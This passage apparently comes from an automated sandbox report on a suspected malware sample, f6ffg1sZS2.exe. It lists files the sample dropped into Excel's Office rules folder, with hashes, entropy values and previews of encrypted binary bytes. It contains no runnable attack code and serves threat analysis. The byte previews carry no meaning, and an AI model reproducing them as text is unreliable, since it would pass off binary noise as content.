Preview:	<?xml.....f^.8.dc...@t.x&.La.N.....[2..a.m?q.............M`.9$.B..S..v....;k]R..&9..Ws........h..J...tT...GG.C.t+(...u..[l@.....\...6jcL.M.,.. ..~.3/p}......b...5.%.$.G.s!.h!.@..aXI.....5...K.W...ih+.W...#.q..w&.4.Q.<!HB..I.L....AR.B.%.....(.sSLC.Io...MC.+.l.B....hW.9.~.@E./..PQ....Q.:..u..N..#Q}!4..Ld..z.t..-T;..Q4....o2H..TQ.@.e.#.".9!...d...N{^#\|.;...h..-_....7.w.)......9\.8u..E\.....9.5Bj@s....../....rF.S.'.......a....!...Y...1...(.Y.z.-4p.Q/.(.H..:..3LX............ .p.........l....&.f...nA.1....(u..&#......".T....MP.nZ$.+6Y..~T....C}.,..<.t{.j.'.rA../V...D.K.>:.m.n...Xnm...;..\|..f..\|.....!G9...r6<".....P....w.......T..KC..?.M"...s..Q<.H.st.....Q0.;eQ@+(.l...L../....n....Qc..2......E.c.....G.1..cQd5.?D..Q.=...Keb..%oG4.L...2{..^.....}v..?0.....[4m..n.O\..N...x.K .6.@.9m.8bSF.>.....f-%H./}.Gc..D.......KD]....H.O.F.f.s.{]`...puP.?.}>n...u.Xv."....9.N......h......5x..<.....,)T..V=.^d..-t).)..K..0e.......BM.h..K.[.B..{....OR.^r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.874818968995461
Encrypted:	false
SSDEEP:	24:nwwpvmjjxwcoJJQqsTXwKXGNW0VqH6/p/EwICBOmP35t0vphMexYAVbD:l9q+cQHVWJ0kCgAIhMextD
MD5:	AFA986E1DD27054D8F76D161557D63D6
SHA1:	F06914400A0F69A35DAA1396BE51D9DAB188A0C0
SHA-256:	17C6C1198103E2DF0C47B6203E219209E2B266A593B5474F70E4C9067C428E19
SHA-512:	F48E77C58538D6C878ACE84EDFEF9C278A441B13F2AA7ECFA0C21DFD63B9EC9479CC6B06B00FE30BB14A16B5ED8C6590BE7C09ED91995713D1618828A8774D65
Malicious:	false
Preview:	<?xml.....`.]q....S.....lH%}..7.>.{..\|..Q....;p......i%b...z..W.ETJ..>x.V..pM.$...).M... Ta.yl.. .......B.c.a...OzUM ...)..N.v4."!#.I.R}..$.%.....G\|........S..B.[.efN..!.^..{H.b=....(.O.......HjV^"..?eW.0.A...j.X.3O.x.U....KD#K..XE..<.:..%....$.o(...]z'.EG......W.nGMm./...e.6..P&..oq..o..1..X.s.[...b...Z....c..2<#aM.}...eE..+..<...+".Xk`............}.../......sbr..I[vHO....^.`.l,...3.....~..pML..^.~.."./.a0..;...L.h.....?N.V.....].e=&.]..<1h.BU..:]2..mD..%...HP..4Q.g!...y\..J...X....=..YV.g.3..qW........\..o.R6JV.A.L....D.?..Y.k..-.f\\|..p...?...........!..T........N...v....(...!>=.xq.d..>.>I.XoE".....J.].4.S..?..krV...Gm..=H]....v-...p.H...6...X.d.9.j.3...w.bE.....%.O..).v.......m.T..n5.e ..../2..b......N. ....D...L..#..{.,.}o.x..c#...s{x...^>..xTY...~......>`.x.~..`.v.lV.M2O.2.R..M.a5.1.7..Z5.?..$..#..QL.Z.../.{m. .-8..E.YK<ir'..........).4.2)j(E..~5W-.C.#.T.83.u..>F... .QO....4.f.[T..z.c..R.a.:..w.p.P.?W]Ve..k...)/.._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.8978719367444805
Encrypted:	false
SSDEEP:	48:n/TnUZAUEctLONKbGHmuEHCRWJ73oi55itOYK7P90gD:LUZA2tLONzEHCUZ3ZTQK7l08
MD5:	D319BD6982309BDF7BA75EE7AE0C69C2
SHA1:	EF383850AD11C551A4C00D1AF9E6B21C0FDE3E12
SHA-256:	55680B5203787F261E8F8A2967B818E4526DBDBAFFB84D4A0B7B5AFE575A7598
SHA-512:	5F617757B652309A5C55556D0C7AA364BC266F6CC46C94762ADF3242B9CDE82F772572ADD2849F366F4F7748507918A054167972F3B4166F3023224D92D8CA69
Malicious:	false
Preview:	<?xmlh..3h=.,..bO9H...............t.l.........'.....i2..Y...:...jg.7....b..-..%V...}^......Nw....]L.HVL......[...e...X.D....xTx.vU..().$.+......f..D.B.....G`..?\|.....}L.g..E.. #>O.Z.]t....k.."...q.6p.6.&J.ls7.y..V....p.....U..H.u..j..,aE.u"......8.g%......6..I.5.$DK4tL3.BG.=.LM_FC<..U......U..?:&.\...T....L.....h.../.....qBrW.._........3.k...<..]:.I.y9-`..f<.fZ.TO.+#.w........+`....6.6A...I.).>..g/V..fi..;.......+.Lv/.-...%.@........!e...xqfk.8h.... .y...n..,.h..[.S/{x.#....a.Nv+q.N`.~..".)..7.$...?..W+.._...9..e.....w.O...U@m.......jU.Y...l..M.h.dv..x......};....`../X...;...X.....i.p.(.9.=..D.....m.-...7....]<....8...q....5h.X..!"..4BN..\|....;m...e.(p..r.U...H.J.H}..`..WM.6.....$/.....Y..Q.O...][b.4<.......'E..w..&.M.=.....;.%.5....0\.@.gDk:..)........V....2ss..... ....-PcGP.6....q[...4...@.l..,(.1.....#......&...A.;.a.=.....l........F.%[...(...+.4H...[p.O...<#..m.s.i!.P..\|.e.i..q....HXY.xR.dvA.(../k..[......bX...C7..}..C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.937869662486682
Encrypted:	false
SSDEEP:	48:uBCIFPCtEzC/B56EeXcDQf0CTHqGKTHKGhJllW/O5JNcpInI+d48mTcgD:u0B2zCZkXMDQfDHqGYHKGhg/mJaSi
MD5:	07AB4BABB3C372840AFFEC994D837DDE
SHA1:	9939E41EDEA0A89A6F5416B1213CD48D7E44BB2E
SHA-256:	1C42C6CFD7C86AD6EE6F36792F5B09F7C775455EAE3855B1A7E2AE10C687A128
SHA-512:	6C8CA618AF784F2B34BB89E40DCEB5CD4B8AE03B98454E996F9FDE9FA4288F1AFB0A17ECE912B5D089F33C4FB75967BBBD111892A6471AD92B025E22408AE2DF
Malicious:	false
Preview:	<?xmlfi...2g...3;.P....}...#.z......I.....&..^...\|.-.....6A..Z.].BuA.TV\#n.7E).+.\|uu.O.kD.!/mjZ1>W.......2@(.Q...F)q.@Z.$.l....?...Zv..a.&.k...k.....S..$X..b....,.W1.a..=.]..@Y..+..?......=A.34GK..C_.....n<.{..U>}...T.e..3.'.m.:6..U.8.2....;..a...Wi.nI.'..:.....1i...X3n..E..4.).u...,......9c@.b...J....;.....>L.r.o=.:.!i...e.k.h.P....2..@.1.iM....k..kO.......N.6............7..).....L.8......y.S.. .[zYU.(Z.,^.(.}z.=:_.&.f...>..=F&.s.e...{...lZ.d.].F2....N...J#.!.......\|...O\|...~.U.~...?.......@....<.,.a...sz..D ...}.i......Q*.i`.?B.......-..-.w[....'..K...1..Z0...;o#4gFo.]B...p1Bk.(....m<Hs.......i.t?..=.."......J.o-.@..c'.r.~.@_...e.U....]s......E.+..\|.R....H..)..9=~.:-.hvn..GP.f.&..M.48x...I....b.Y.......I.'.....g..#^#.r.?..U.K.>.i.7I..-y {`..C}W..O.......6b..\|.O...."D7..E=.2....".r.}..9:.$.....NQ..M...'..7.}[.7..(.....Rw....../.........$.;0:.!..z..:8..]..jJ,...L.3.\|..::.....L..=K....@.........@.b<1...t.X.sU.Y..i.j.5.`......7)y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.738617199152754
Encrypted:	false
SSDEEP:	24:2P1wbBf2EbL+0wCjFb9jgxhjfK3CvD8aOWHeUKxt3bD:2P1uf2Ebw6fjgxp7L8q+UmRD
MD5:	E415EEDFD42FF43227C75DE9DDE54C87
SHA1:	F4D84704775F955D1BB79E524A5E9AB6C8B75934
SHA-256:	4F74E966B81CEDFF7223008E21304D90F944CA0C4EEED3D72BC2AB811AEE8D8F
SHA-512:	B87E4546C09B2B64E32E4AD90D4FE51B7BED0FC9C82BA698FA295E271DF8DCD1C9B4E9CA57C3A87BC7A996FCB1A7713848AF2FA78C2C6FE3EC2280512729A299
Malicious:	false
Preview:	<?xmlV....B...a......d^.GU\....Q"};....E=;d.JFq.0.....0.=0\|..~y..k .]..@....y...T.. E_...$...4;A......U.....G'EX.j.P.x....k.WIy..l..3R......&..N9R..k.........{J....<A4.%~....`O...k.<.}F.I.x..y....$...vN..]1...M....z....l.. ..,.>..:6F.7......V.2sZ...N..?y.E.V...F....u..8....t$.....C........loy...".`.....u...oQ.....h...Jdx^.On;`OmEvfA.....H.}.......P...z.P.dq..."..Pv......g.\?......<-..V...p......JL......s......;,.&....'.z.$.{....v.&.n...-}....7....W.....8...V............}Op..D...5..b...c.(..+..W..3..#c..-..yd.~=..\9...pL..]....NQ.-Q..k..%.d..9.7.YF..k=..x...-.Vd.+...fP.0...Z...o?`.0.BR..R.}...1..2.o4.[.w...}.n...\|yd.U.........O#cY8k.....R..?..n#....c.T..+......}.z3O.3T.c(.>..<Z...m...).`{.;Kw..(..V...2\|..-3.6..J.}>i..i..0..E.H..m&a.....U.b..m.%.?x.......Q..\|...q.LN....5.].e...S.dX......s.f._gH..Y....<.....s.z...Y....X....U...;...V....J..O5....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.921443547171376
Encrypted:	false
SSDEEP:	48:1Y08fugE2/m77ltqgU4c+p+tFWIzKJj0gwi7A8h0Pu8ZggVF/hdDp1DD:1P32glVZcOoFUlvwi7gCq/XD
MD5:	4971F6E8FC95F6B72CCDD538FE88EBB8
SHA1:	74DD9BEB41D35B8682BAF0289FC7BAED79A4C807
SHA-256:	EB10C3981351CF97744C1278AC4BBACF7281589D316C7DBCA670417942B90076
SHA-512:	7D165D0E0112FA478AE2844B4C2272D1C75022DA76E697E20C7BF8F545461E59F506CD17ACC1F2D7B6B25B328CA58310206864AF4852D43CB9D3707B3682392C
Malicious:	false
Preview:	<?xml`.5.M.....n.iV.iW.d.w..w._.u%.....:.%.i?G#(M.....+..bO...i..=.......4oY.dda....'nd9A...U...F.n.T.;.F...z....j.8..rK..HTl?......~.Z.I..+......g.G.P......R..,.......{..........@+_.W.(B...{....=Q...x.T...9c.[4."rm.E...o"...U....Q15.Np..".pw.......H..2..tS.....l.H......f..:...[...m...0.1w...W.'..s.I..mT...M...r..2.;...JsS%.ua.h.....>...aQ4}.......c(..J..d...H...Ij....@'+..'.=.z#~'..{Xm^...k...[1.X5x..{.......?...7...F.A..e?Tt..b.e...d...}...t.p.........&.#.cD.W.a..`!..xw.J+..}>b..c.2J.......0......GAZ..m. .....[.)....#....{,.J%.e..k.]-.:.Wm...1`..\|.h.4PO.G,..J..;(\|..Y....{.K.\|."...3P..O`.e.~..i.8>.$...H>.."c:D.......v........(.x....c..p..aF...YO.L.d....Z..,.....B...\|.k.,..a..D.m.c.....4..OP..nd.g.x..q..+..bD..y.$r#.o..J..!..V.!1......zW.<..:.........#.4C.._4.3VT._..E.....W..aW.O....."......M..<z.~J .u.s.n.i...A~.uo..{&...gx..\n.....,.~.nO.q.H..;...Y$..-A..1fI.....`.m.>....s.h...y..t..]...\.....QM$U...S.c.-.+.VXm..\=l..o...T.orN.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.938717565886891
Encrypted:	false
SSDEEP:	48:NfM9bg8RFM0YweL/+MKdsQCEucRLh5yixZn6gB01FV2XzpGu8jC9bw2D:1M9HRzYwa/+MKdsSuMVa207cX+W9bR
MD5:	06F0F36F9325285D37230FA99CA2B4B0
SHA1:	8A1B13D5CE247B9DC60C3A81D24D94FCEE2C5CEB
SHA-256:	2BDDD45154D776031E18EC3C27B98006141AB4D1046B00DD9311D4CF89A2C9B0
SHA-512:	3C2DD035430C1AD231340E69578B9762DF29FA0E75751D289945C619E2FC5E3D912E830B088C3EE2173508078E8236F68864869829B913ADD8241ABEA8D4DE35
Malicious:	false
Preview:	<?xml...rc?HR).U.9.V..r;~i.....y.lhN.L...ErA4...........&.=j.....>......2.........!E.+R..$.q.f.d..P..N-.'l\|.../.h..tk..rP...mC....cq..Yh..r...c'.5....`..:..a..C..{%.yZ....GrI....p.W.C!....e.j!.....\|^..T+7..L^...M..6...N...p.U.8A.])..;.z.U...z..P...d...a..........F..~..F#....D......f..O..[U%..<RJ.W...$.. 3..m..=...I./{.....vX...?.)......}.4.{...4....T..<ms.4........)q.....WPp'<.hN...2..=K.C.i....Ra.""..I.NR$Y..X.%..z..I(..}D......N..RH...S\|.-.;...B.........B.A.6j\.X7..U....i..H...z...8.....h.k.....\.....MZ.u...C..~..=.................P-..3c.R.b...:FY)..:..bB(.a.S.o..:.v..[E...(..s.~...u....^..E...W.]w.J......f-...{........../S~...M...M.....!........:\|.7...h.W.#6....8.X.p..R.'70.....P3..v6c\m.....{.Q...A}y$..#?#...f...P.)$.......e....q6.0@].e....0..%..P.[Dwk.....?.....J.....(+5.~Eq..K.^.C.s.........a-.1...q~y.R_.8.(..B+.....`.i1".^...?W...T...p.xX..!....~:......e3..5.<S2k.`.. ..B( c7.l.....).).....L...G.j..S.Z..(.+.`.?.....5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.940165265348975
Encrypted:	false
SSDEEP:	48:T4pqgsTkcOeEr1vM/cLUVgQkSE3MWDVwI0eH4vOhKZRq3woyrTyJMUHweYJX0yOD:Tcq1o/x100AStDnH1hWtrlGYp0y2
MD5:	437E842811DA9DF68D47983AA9425AD4
SHA1:	2782391A2E4B2998842F63B1A2AC34B112B9FA45
SHA-256:	8D55ADC655003E1E2064296D8FDF5C16E33DAF551E31C6AB571439F768BDCDCD
SHA-512:	3CC933DA4581D84FB07FE8823C6EBBB524C9BD56B0644270110BE7D6F4A55E843276DD19E933D967453E78542641F5C5AD658281D7AB653A385E96BA221BD016
Malicious:	false
Preview:	<?xml..{7..J.,.&.O.4..&D.A.zU\|..).....q....6.).......k.f..o.F........F3..#.....3..p...^.u..m.u.1....Z....V......nbnV.pn.=.D../.s....,?..01..n.{.PX...g%"T.#.J.S`.q........\|P.6,j..n.xc.....p.". ./.Z.H....i...Z....x.....%..9.3.\|d.a........v.d.....l........Q..E{..ccrS.H....)....h=.7...8...gi.t..U..u.,t...@...D....A...2w.x"..]F$?.d.....a0.)o.#.....>7..I......6s...u..s..q.{..Q...\|....^.6A.bL....."S..gu+.".........).6...kY...C..e.:.o.:..A....=..%..".-.R.X..........A.P....P.....@z^.<..x...d.8...+,..(.Qs.t6.M.m.uf....Z.v.;aL....&.u....4....q....W"...k.h................B..<.....L...ep...@..kTpX$g+....2.]zD]..-N...l..........0.9F.!pc^.J+`.N{..c`.:.U.r....y.p.c.K...7...L3...VS.v....eP..E.F`9.....9........+.f........q..{......n.UXHh.&....N..Fh.qC.....Y..+..............F[.R.7...'.Gp.Z.=.wc.icE.w...g.1i.W.[..H..i..hj<.........2,..G.....U.^.v...XcL..~....U...x..:~..;A.!F....~...4)...E...u}..@F....g.$..5.g..;..Y.....tn......"G~.=.;\M%.....oL6.....N..b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.8331896579747875
Encrypted:	false
SSDEEP:	24:+u58viZ2OmNXeG6OIjbj/99/wTGd+stKgJ7orabD:+Qv2OmsjbjVxOU3tKo7OYD
MD5:	39E51424C07A676E34AB67C27EB348B1
SHA1:	1FA49B055834872D18FDE18228B7F72ADBA0997E
SHA-256:	4A630B26262A47D364B0C71616CEADE439ECA438FB3D748064468390503E1F9F
SHA-512:	401379DD83D91CEA3535F19DB160F7419919B8B903FEABBB8A18D48EB5EB1F3AE0AD4A40DEE8055BF1FEC48F864D8735474DD7BC182F497612BEC29C1966B73C
Malicious:	false
Preview:	<?xml.N.....`.a.d......:..7..{..;.9...'..3{..9....':}.3.W~....4;..Oi....f...Z.Q.\|.&t...c...w....c...7H%.h..&.Z.c...EdV.]eJ@g...t..yPX$OCP....q^..e..rg....4NC>r...8U.G.....k..,8'...].$.wu.....@.Q3dD.d.kv.....^...p/.@.;+..zB...U...C.....T.."~..%.5.i.fi..$..>.d<....../OXw~...%Wt+.a.V...(J..t.v:..}:+..P.1A.....D[..6.I<......9...+....}....K..U..Z......xfj.....G.%w..&...}..eg. ...u.N./.....~f.i.M\S.V.f....yx.X.<..Dw.....0..D[EA'.......$......"Sbh....f.+...U.CT.........,..CFf.{. j.s......'.......3.k...J8...c_.G7.8....3.....b...f./.;.7..a4...j..fq.........W..I.J..........'0.m..!....4M.........\|S.KJ..............l<.v.RN...o-.fD.z.7jo\|...Ilv...<...;..D..?Y..<t.$......[.b.?x.<.W)=.........`...H..s..d.....wo....KS.1n..f.d..bt..x.i.-4.........E..~......mbi9i~;.0........H.,QJx.......c..R.>...0...ZY#\\|..w...r..7.q...}.8..A.....K.....n.J."..d..+9..!....\|...n.i2...B.M\.D..$..9.)%...M.b.4.w...L.}X....xP....M"d.q..67o...pB...=.$..H.Z..<..vf.m.g%o..;W..#..2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.781366100152794
Encrypted:	false
SSDEEP:	24:mVM1y/UrTSkwUURpobrj8QtrleaOmBsWq/+UBYUoPJbD:uUgUepir1PalBWpD
MD5:	27BE4FB0F5BEBFC2D7BE656F4399D9F8
SHA1:	2861228591B5A1036287BDD76329A136DD39EC31
SHA-256:	6D30E14F6D4205E4F3D3ADA9961BDCDCD9CDA9F7BE1D37B06588F896401CDC6B
SHA-512:	4D65ABC68A8D8F0000589C8F205B83B446A1EACBB1F5ACA2F63F6384EDDED11FE650CE94AD257CCD11950A034C7436ABF1512428362FF6CC793F763C203E65BF
Malicious:	false
Preview:	<?xml.xTN.=ek...ig..,3'..;.r.B...Y._i-WGK...CtA<...e}\TM{.1..^.O2g\|k..9I.....@m...D.(F.d..I.m.5;.$.7....J...1....g...:...[TM.O.8.N8.~:R0.......X....&..9........[.,...+..2m..!+..O..L[O..(.M h..)......C.p.kSD.X..f-...'..#/e4.....2E..........T...........\....?o]l.u>..[G.`..Q...D.....0y..g....0.3...].....#....5........w..S1.=..e.x8...w.w.X~.l.f..{'..._1...y{w.C....L..L....<.....F.G.e....`.i.Nv.k.%5.....a..T....$......\|...\|..8n..\|.D.J.q!...eA..Z....M.IU..i....U..f_...o..=.:.w7r.t....7.q . ....n..`........D.nR'.C~_..4...=...9...R>$...B.P...H3]....W.@..ZrA....a....h..6*..8.L...m......X.h..........0e]#...(9k;.`m.@......]....]].Td..D.`.:......v...H...dJ.1z,.Y..G..T0.%~...fkp..~......_..s...:.....xd.!.....[-..^1..0..!M...e...1...c+.Z..`...t.k..n..1..R..........61..%,5.)...PW9.$....E..3....acyW..D...N..CB.[F.mo/.....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.846353235272785
Encrypted:	false
SSDEEP:	24:+U8qE6//R/97+W6p4tf2Irk4xfr9DK/E/o3tLOO3+g3eO523FTCbD:+U8qE6//R/m1Irffr9ecQlD7B5qFcD
MD5:	3A705C7DDF978BEC85A784AD323167CE
SHA1:	5E4BFA23582B8E1A0C4EEAC9395EB7C2380AB146
SHA-256:	1288AF82EE950C6182F325347318AFB5B40D65A65ED81AD1901B17498F9F915D
SHA-512:	243ABC61093CBEA1559D44E997CEA95DB3F71D12EF2606A739AD44D9ED38BE6499DA4C3DDD89380AE800D599E02396FD583C442CB04B3B4E9F7CF6797178E2B1
Malicious:	false
Preview:	<?xml...v.;GO.=.Z..i..[.K.R.#.I.l......M.{.........b....;.U.e.6.F.?...3MCR.....c.J..Q..."..y.f+.1..z..\|' ..n..!!KK.#k..[..z...I..6.Z......;Y9..Kw..M{..ja..L.?.g...y'.......G.B.N.`.x..;..9].....J..qR..\...%...:...,....I4.5.a.L....l.=.R...(.,u\.ma..L.....-C..8.J...2..`...I..j....8oLjk....... D.}X.....K..T?....V..b.$?..fO.....p...o.....^.{.......J..<.wd.....q_.T..U.n{V...E....{}3U0.4..,.....9F....l_..s..@..z....#.....<r.GY.7..S.c...9.%.`B..e..5U.Ad@k...t.......\|"u...=....K1.=.x.+.....^....."...B.(.....'...Y..M#...0._.B~......u....RGw.....,..@....3V\.c.K.3....G......E...&...t.R.y@/.)......Sj..pX]...7.J....fi;m..G........u 07H..=..m.;^h,.....o.....tH$..W,..........y..7N O....#[..3pO..ED.n/I...a.u"\i..[.T.9..Y..1...W..r...6..Rt."......~....D....?.mG.p..W.......%.O.3r.yr.1....^..k.h..J..(.......S...VL..{.z.........N.a.....N..[.1/!."..X.[_.O.H...)P*..1..Nx...R.)..0A.g........`/.......c.C.8F}.A.-I..Y.rI.i.8/!.e.....o.c.$...A.G..$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.839968818414848
Encrypted:	false
SSDEEP:	24:M7Jk8FM7MevrELZweqUOrkcqB1QA1jpnbD:qK8WDrmZwemU71jpbD
MD5:	78A86FF290BC8FFE833E4EC1E7D6C3F1
SHA1:	B1465607626B86DE585602D42D87D1C205BAEABA
SHA-256:	C0DA6C33102243B1FB5C0B164AC38DEE65A311D865553F67B42A8989B9B81E12
SHA-512:	CF17943C1AEC6F05B8FD6AD763972A9B00C54E24C8F672ED17525B157D669B746E28FAAA2988D405AA68E4D7A8F1B792EC86416DB6EEED688FE20236BFED6C40
Malicious:	false
Preview:	<?xml.%4uJ.{.}..........r...e.V...V...G.yG.~...g.8...ipR.B..l...M..4R...Lr....!.5r.gS..F.n-gh.q.....3]@)c....HY..._..d...m...T.KGD...G..Q_+. k..`+..E.,.u.yk.j&.h..e....._.].9..:..b...........5..6o..q...6&.qO~.....vV.w...KHq....P.eS..os;Q3......M.A.....V..=..~i......;.'..\|.W.j.P..qo...m8.zr.:..]K.r>.=UG....O..a.xG`.%.w@..>...!.L..p......).O...I.......7!.....f...I.......k.,..T.f.l.......h.....?9.7.~...Re&.w.=..;.D...D.4&...Cp.t..5]_e.tG...;X:.&........F.Ni....:iQ...p...z.go.s.C..7j/).`...P7..>...;D_.........8}..."E{..v......9.t.Nw#.q.Es?<j.......M6Mnx.FLzK......4'.O...D...#..J....U...Z...HD....Y..H!.;.j[F~...(a.......TUZ..P]-@.....>.6....Z&.{.C..n.w..}.c....d.b..3.Z..J.fyW.:..Y.2..x.._D.E.1.}.$C[..L.]0.).6..$.....RF.n3.......d........Ms....gJ.Z[."%...#p..(.+\|.....A.eD...k<.x...E\...].~fk......,..<.u\|;..V.y..j....4X.{.!S.Cx..K./.V...,.oO.....M..n".............J....vR/....S.L.2<..e.....,.....oC..%...>.....O.. ..=...&.\|.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.934622983829522
Encrypted:	false
SSDEEP:	96:gafYgtA/EYIjGgTYh4znRJNBt8FzJiQYDkT:rXy14GgT0QRHUFzJ5QkT
MD5:	36F36E59D6DFACD499686443254132EF
SHA1:	A7E8D18D6CF17C6FACAECD44CFAA74716375E074
SHA-256:	A73197B76C6978B662A9F90076BB3EB69064F161561AC0112EEA9A70DF48679F
SHA-512:	8D3E1DC5946AED3B1ED69C94DDE145A558B55CB6582C3C04AE06E6C95AA2EDC55B2DC90FA088353875629C80946D518A667DFF3B8A7B34648055C002CCBDE9FA
Malicious:	false
Preview:	<?xmlWb..kr... ..]C...D..;.. .W9.:.... u...SF...\T.tG..[{.5[ .x4.$..^....lR..zh.![..x'...RN...&...BjD..79~...gw.}..n~....$..[......G-:D+7..(...8..6a.,.Xb..b.6...u..z..o..Ds...lC<..9.7b.0.....`..0#.!..M..p...Y...8..<r..7...\.^F..z...".!R..2.t.......0.zQ...!.^s.d.......5...N..cS.............oT..}....u...s..........4...W.4O...y%.P..r..b%.C...Z..a..p..I.2M...l?.....6..0T.X..E2.:s.....x..z....AhOs;.W.^a..*R ..`.......O..2.....d....!.JK......>....2....IL.Uk..}.... /......B.s.../...2.u....iDFM........4.....4....+......#....x.g{g..3..,.;...H{.Rp...`....n.l...2o.{.f-.l.4.\|..Y....,.....D..y.;C1...5\|mu.f.]..A1...M...@...Tz7....en.M+.9Y..UX..............<}..lO..}...;t.5..+..g......5.^..D.....5.......q.......Q..6..9n..G.c...g,..?....k....Xz.IP..%....!`...M......77.I..B...tX(.....]C....V..n.....:0.>.L.3>.5......He.^...w...5...d.KvMI9..w.)p$.fdfw.T.0Z2.}@U=.a....c.I..0..".Z.G.ug..#....;..x..Y..Ug.... =Z.3....'.57..@...~fc.}.D.Y.@......T.\|Cn;..M.9....X.X..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.908531055116514
Encrypted:	false
SSDEEP:	48:xjyWvZZH0/S9EHR3caCZtBrj56DuZLdLjFBny5F4kyaICvNW1Y4vx0GD:fZZH0aKeaCZtBrjUDu9d9Bnyb4kyaIAu
MD5:	CC4C01EED1401B8F418C49C9296F7F35
SHA1:	EF548147AEA0A5A6F2C6A2BB672D34A6E2B1C1E9
SHA-256:	CC20B2C2AEEEE8E0087097FEF2EF73C1E9F40561E098FA0E7E4B51C86E980CE8
SHA-512:	9684F7110258C5BB550E33A721D9AC6A8EC089F0CD58D8C9C2E7C35AFAE325A9AB620EC7E12946A9531DA3E2247828E5441ACAED19248FE0D0AE91EB7A3EC22C
Malicious:	false
Preview:	<?xml....4.9..F....m.A-@..I,.3..H...L"..7mC...L.F+J.1../!.)iU.1..~A-.....DN..4irc...M..q.E....+sp...+....h=..eHD....Z....h0..77..h..K@....+Z..y.&...(.t........%lr.7...5.l(R.Y.;:}S}.,...!..i.nM......N..$........F~}..3....W.u/~D:\|N...]....,.W.t.S..2~^.>.PJK...Z&.3/....:..8o:C..w h8.)$..b.X.$...~.. .<...sh..k..N.'....K.C...(..:.Y}6Xu.../fKx.l.;....J...E.~.F.(8=...l..../p.....ufh.D.w....n'......-.1rQw...K[.F.H.....O..Iqm;I...z.m.<7.Y.............v<.....l.'U..V...$=.6+.;.1.ka.f....C....G.8M.P..!44.?.....jv.........:......EVf.Y....j..I'..}.....A...n~..X..-....\|K..F.....T...L..e..>V ...z......M.V..G......s..d......8..4C#y..._..(_.......<...U.....s8....u..R..&......-+.G..n.0..&.G.9.....f.]R...c..[..@Hc..-.s.P............w..[..((..6..O%Z,.{....F....&.._.Z/<0d.4..G....~......J..T.'..6`.{K...k....uI<.C.e.{..t.T.:"...:......<.G$gt..N.n4..b0....>......U.o...Y......[.*.&Bn......z......}.K..<..\|8."<dx.~..{............L....CCq2...!1.V.-6\...C...8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.846216811550191
Encrypted:	false
SSDEEP:	24:lE2WyQgaXhjv31IFwz0tYRhIRsHKhZ5J5mdLOsklIohUMk820AHSkuIuSpRi/bD:lEXye5v3FzeghI6HSZfwdpkTknjuSyjD
MD5:	13041CE7DE7BDC53BC961BCF68FEF0CA
SHA1:	F09E0606F5210337B5005AED2641D450FBF6743D
SHA-256:	CAC3C221ABAD51B6DD88BD4D5478E684396C0CA644F9904F674B8F27A61469E8
SHA-512:	2786524D0172BEF4E2155BAB12E0D00E8F97F933C4B2CA62AD6C94F6D36EF29804CC0158B6536F0F6AF84CCCDDCBD9AE1EF05CD2A22DD97E1808C57C526D1D4D
Malicious:	false
